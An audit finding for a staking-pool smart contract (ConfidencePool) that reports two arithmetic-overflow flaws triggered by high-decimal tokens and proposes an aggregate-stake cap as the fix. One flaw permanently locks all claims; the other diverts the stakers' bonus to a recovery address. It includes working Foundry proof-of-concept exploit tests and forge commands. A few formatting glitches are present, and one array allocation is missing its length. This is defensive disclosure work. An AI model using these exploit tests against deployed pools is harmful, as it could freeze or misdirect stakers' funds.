Root + Impact
Confidence: High
Affected functions: `stake`, `_markRiskWindowStart`, `_clampUserSums`, `_bonusShare`,
`claimSurvived`, `claimExpired`, `sweepUnclaimedBonus`
Affected actors: Every eligible staker in an affected pool; the pool's entire bonus balance
Description
The pool's intended k=2 bonus score for each deposit is `amount * (T - effectiveEntryTime)^2`,
computed in O(1) via stored first/second absolute Unix-time moments (`Σamount·t`, `Σamount·t²`).
stake() ensures that the stored aggregate moments fit at deposit time, including the checked
sumStakeTimeSq += contribTimeSq addition. However, it reserves no additional headroom for _bonusShare()’s
expanded expression and does not ensure that totalEligibleStake * t² will remain representable when
_markRiskWindowStart() later recomputes it at a larger timestamp.
uint256 contribTimeSq = received * newEntry * newEntry;
totalEligibleStake += received;
sumStakeTimeSq += contribTimeSq;
sumStakeTimeSq = totalEligibleStake * t * t;
uint256 plus =
T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
Let `M = type(uint256).max` and `S` be aggregate eligible stake. A stake is admitted whenever
`S·t² <= M` at the timestamp it is staked. Two independent failure modes follow from that same
unchecked aggregate:
- Path A — claim-time overflow.** At settlement, `_bonusShare()` computes
`T²·S + Σ(amount·entry²)`, roughly `2·S·t²` when `T ≈ t`. Once `M/(2·t²) < S <= M/t²`, this
shared *global* term overflows for every claimant — including a victim whose own position is
individually safe — before the cancellation subtraction can produce the correct, small score.
`Math.mulDiv()` does not help; it only runs after this addition has already panicked. Every
`SURVIVED`/`EXPIRED` claim reverts and stays reverted; there is no alternate exit (`withdraw()` is
closed post-risk, and `sweepUnclaimedBonus()` reserves rather than releases outstanding
principal).
- Path B — observation-time overflow.** `_markRiskWindowStart()` recomputes
`totalEligibleStake · t²` from scratch at whatever timestamp `t` active risk is *first observed*
— which can be later than any individual deposit's own timestamp. A stake sized close to the
admission boundary at `t0` can make this later, single-term multiplication overflow at
`t1 > t0`. Because `_observePoolState()` has no error handling around the call, the revert
propagates out of every gated entrypoint (`pokeRiskWindow`, `stake`, `contributeBonus`,
`withdraw`, `setPoolScope`, `claimExpired`), so the window can never seal — `riskWindowStart`
stays permanently `0`. Unlike Path A this does not lock claims (`_bonusShare` short-circuits to
zero when `riskWindowStart == 0`); it silently misclassifies a pool that genuinely experienced
`UNDER_ATTACK` as one that observed no risk: stakers recover principal only, and
`sweepUnclaimedBonus()` sweeps the entire bonus pot to `recoveryAddress` — value that should have
gone to the stakers who bore the real risk.
`_bonusShare()` returns early only when `snapshotTotalBonus == 0`, and `contributeBonus()` is
permissionless with no minimum, so one raw unit of bonus is enough to route every claim through the
vulnerable path.
Risk
### Invariant violated
An accepted stake must remain arithmetically representable through every required claim, and an active-risk
state that the pool attempted but was arithmetically unable to persist must not be recorded identically to a
period where no riskever occurred. One user's accepted position must not make another user's principal
unclaimable(Path A) or another user's earned bonus disappear to `recoveryAddress` (Path B).
### Attack path
1. The factory owner honestly allowlists a behaviorally standard ERC-20 with unusually high raw
precision (the PoC uses 60 display decimals; ordinary OpenZeppelin ERC-20 accounting, no
fee/rebase/callback behavior).
2. A staker deposits an amount whose own second moment fits `uint256` at deposit time, sized close
to `M / t²`.
3. **Path A:** the risk window is already sealed before the stake; the deposit itself is fine, but
at settlement (`SURVIVED`/`EXPIRED`) the shared `plus` term overflows for every claimant,
including an independent victim with an individually-safe position. Every claim reverts with
panic `0x11` and stays reverted.
4. **Path B:** the stake happens *before* the risk window opens; time then advances within the
pool's own term before anyone triggers observation. `_markRiskWindowStart()`'s later, larger-`t`
recomputation overflows, so `pokeRiskWindow()` (and every other gated entrypoint) reverts and
`riskWindowStart` never seals. The pool still resolves normally; stakers claim principal only,
and the honest bonus pool is swept to `recoveryAddress`.
Both paths need only ordinary public calls (`stake`, `contributeBonus`, `pokeRiskWindow`) after one
honest, documented factory-allowlist action — no malicious registry state, moderator compromise, or
nonstandard token behavior.
### Why this is not an accepted DESIGN.md behavior
DESIGN.md accepts deposits during `UNDER_ATTACK` self-locking into the resolution path, the
expanded moment formula as an O(1) equivalent of the per-deposit score, an amount-weighted fallback
when `globalScore == 0`, and a "no observed risk" rule (§5) that sweeps bonus when the registry
genuinely skipped active-risk states. It does not accept a state where the principal-returning
claim path is arithmetically unreachable — Path A rewrites the intended amount-weighted fallback
into an unreachable panic — or where §5's rule fires for a pool that *did* observe active risk but
whose observation mechanism itself failed: Path B produces `riskWindowStart == 0`, the same
on-chain signature as "no risk was ever seen," for a reason DESIGN.md never contemplates — the seal
attempt reverting. The token is ERC-20-conforming and behaviorally standard; `decimals() == 60`
changes only display metadata, and the factory allowlist gate is an ordinary, honest, documented
action with no numeric safety check behind it.
Likelihood:
- Reachable only once the factory has allowlisted a behaviorally standard token whose legitimate
raw balances can exceed roughly `M / (2·t²)` — high-precision tokens are uncommon and must first
pass the trusted allowlist.
- No malicious factory owner, fee/rebase/callback behavior, registry corruption, or moderator
compromise is required.
- ERC-20 does not cap decimals at 18: at `t ≈ 1.75e9`, the unsafe aggregate is `~2.836e58` raw
units — about `0.0284` tokens at 60 decimals, but `~2.836e40` tokens at 18 decimals, which
explains why conventional assets do not reach the condition.
- Once a compatible token is admitted, any whale can deterministically cross the threshold; one raw
bonus unit is enough to route claims through the vulnerable path.
Impact:
- **Path A:** every outstanding principal-bearing `SURVIVED`/`EXPIRED` claim in the pool reverts and
stays reverted — not just the whale's, but every independent staker's. `withdraw()` is closed
post-risk/post-resolution, and `sweepUnclaimedBonus()` conservatively reserves rather than
releases the locked principal. Official pool clones are non-upgradeable with no emergency exit —
the lock is permanent.
- **Path B:** the pool does not lock, but every staker's earned risk bonus — which should have gone
to them for bearing genuine `UNDER_ATTACK` exposure — is instead swept to the sponsor-controlled
`recoveryAddress`. This fires purely from time elapsing between an accepted stake and the first
attempt to observe active risk; no claim-time overflow needs to occur at all.
Proof of Concept
Two independent, executable tests, both run directly against unmodified `src/ConfidencePool.sol`:
| Path | Test | Command |
| --- | --- | --- |
| A — claim-time overflow, official factory + real pinned registry | `test/audit/ConfidencePool.realRegistry.campaigns.t.sol::test_E_F02RealRegistryHighDecimalStakePermanentlyRevertsEverySurvivedClaim` | `forge test --match-test test_E_F02RealRegistryHighDecimalStakePermanentlyRevertsEverySurvivedClaim -vvvv` |
| B — observation-time overflow, minimal harness | `test/audit/ConfidencePool.attack.t.sol::test_observationTimeOverflowPermanentlyKeepsRiskWindowZeroAndDivertsBonusToRecovery` | `forge test --match-test test_observationTimeOverflowPermanentlyKeepsRiskWindowZeroAndDivertsBonusToRecovery -vvvv` |
### Path A — claim-time overflow (official factory, exact pinned registry)
Token fixture — fixed-supply, no mint privilege used mid-attack, only `decimals()` is unusual:
contract CampaignHighDecimalsERC20 is ERC20 {
constructor() ERC20("Campaign High Decimals", "CHD") {
_mint(msg.sender, 1e60);
}
function decimals() public pure override returns (uint8) {
return 60;
}
}
Authoritative test —
`test/audit/ConfidencePool.realRegistry.campaigns.t.sol::test_E_F02RealRegistryHighDecimalStakePermanentlyRevertsEverySurvivedClaim`:
function test_E_F02RealRegistryHighDecimalStakePermanentlyRevertsEverySurvivedClaim() external {
CampaignHighDecimalsERC20 highDecimalToken = new CampaignHighDecimalsERC20();
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy factoryProxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), outcomeModerator)
)
);
ConfidencePoolFactory factory = ConfidencePoolFactory(address(factoryProxy));
factory.setStakeTokenAllowed(address(highDecimalToken), true);
address[] memory accounts = new address[]();
accounts[0] = scopeAccount;
vm.prank(sponsor);
address highDecimalPoolAddress = factory.createPool(
address(agreement), address(highDecimalToken), block.timestamp + 31 days, 1, recovery, accounts
);
ConfidencePool highDecimalPool = ConfidencePool(highDecimalPoolAddress);
assertEq(factory.getPoolsByAgreement(address(agreement))[0], highDecimalPoolAddress, "official factory pool");
assertEq(highDecimalPool.owner(), sponsor);
_enterUnderAttack();
highDecimalPool.pokeRiskWindow();
uint256 t = block.timestamp;
uint256 timestampSquared = t * t;
uint256 stakeMomentLimit = type(uint256).max / timestampSquared;
uint256 victimAmount = stakeMomentLimit / 8;
uint256 whaleAmount = stakeMomentLimit * 5 / 8;
assertLt(victimAmount + whaleAmount, 1e60, "less than one whole 60-decimal token");
assertEq(highDecimalToken.decimals(), 60);
assertTrue(highDecimalToken.transfer(alice, victimAmount));
vm.startPrank(alice);
highDecimalToken.approve(address(highDecimalPool), victimAmount);
highDecimalPool.stake(victimAmount);
vm.stopPrank();
assertTrue(highDecimalToken.transfer(bob, whaleAmount));
vm.startPrank(bob);
highDecimalToken.approve(address(highDecimalPool), whaleAmount);
highDecimalPool.stake(whaleAmount);
vm.stopPrank();
assertTrue(highDecimalToken.transfer(carol, 1));
vm.startPrank(carol);
highDecimalToken.approve(address(highDecimalPool), 1);
highDecimalPool.contributeBonus(1);
vm.stopPrank();
vm.prank(registryModerator);
attackRegistry.instantPromote(address(agreement));
vm.prank(outcomeModerator);
highDecimalPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
highDecimalPool.claimSurvived();
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
highDecimalPool.claimSurvived();
assertEq(highDecimalPool.eligibleStake(alice), victimAmount, "victim principal remains locked");
assertEq(highDecimalPool.eligibleStake(bob), whaleAmount, "whale principal remains locked");
assertEq(
highDecimalToken.balanceOf(address(highDecimalPool)),
victimAmount + whaleAmount + 1,
"entire pool remains locked"
);
}
```bash
(cd lib/battlechain-safe-harbor-contracts && forge build --skip test --skip script)
mkdir -p out/RealAttackRegistry.sol
cp lib/battlechain-safe-harbor-contracts/out/AttackRegistry.sol/AttackRegistry.json \
out/RealAttackRegistry.sol/AttackRegistry.json
forge test --match-test test_E_F02RealRegistryHighDecimalStakePermanentlyRevertsEverySurvivedClaim -vvvv
```
### Path B — observation-time overflow (minimal harness)
`test/audit/ConfidencePool.attack.t.sol::test_observationTimeOverflowPermanentlyKeepsRiskWindowZeroAndDivertsBonusToRecovery`:
function test_observationTimeOverflowPermanentlyKeepsRiskWindowZeroAndDivertsBonusToRecovery() external {
uint256 t0 = block.timestamp;
uint256 amount = type(uint256).max / (t0 * t0) - 2 * ONE;
_stake(alice, amount);
_stake(bob, ONE);
_contributeBonus(carol, 50 * ONE);
assertEq(pool.riskWindowStart(), 0);
vm.warp(t0 + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0);
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
assertEq(token.balanceOf(bob) - bobBefore, ONE);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), 50 * ONE);
}
```bash
forge test --match-test test_observationTimeOverflowPermanentlyKeepsRiskWindowZeroAndDivertsBonusToRecovery -vvvv
```
### Observed result
```text
[PASS] test_E_F02RealRegistryHighDecimalStakePermanentlyRevertsEverySurvivedClaim()
[PASS] test_observationTimeOverflowPermanentlyKeepsRiskWindowZeroAndDivertsBonusToRecovery()
Suite result: ok. 0 failed
```
Recommended Mitigation
Enforce a raw aggregate-stake capacity before persisting a newly received stake. Every deposit and
terminal timestamp is bounded by `expiry`, so the following conservative limit keeps all current
positive/negative moment intermediates representable in both `_bonusShare()` and
`_markRiskWindowStart()`:
```text
totalEligibleStake <= type(uint256).max / (2 * uint256(expiry)^2)
```
```diff
contract ConfidencePool is ... {
+ error ScoreCapacityExceeded();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// Existing transfer and received-amount calculation.
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ uint256 maxAggregateStake = type(uint256).max / (2 * uint256(expiry) * uint256(expiry));
+ if (totalEligibleStake > maxAggregateStake || received > maxAggregateStake - totalEligibleStake) {
+ revert ScoreCapacityExceeded();
+ }
+
_clampUserSums(msg.sender);
// Existing moment and stake updates.
}
}
```
A per-deposit bound is insufficient — several individually safe deposits can overflow the shared
global expression (Path A), and a single deposit safe at its own timestamp can still overflow a
later observation made at a larger timestamp (Path B). The check must be aggregate and must run
before any moment is persisted. Limiting decimals alone does not help (a low-decimal token can
still have a large raw supply), and patching only the final `Math.mulDiv()` does not help (both
panics occur in the checked additions that precede it). A more thorough redesign would store
moments relative to a small epoch (e.g. `riskWindowStart`) instead of absolute Unix time, with an
explicit aggregate bound retained regardless.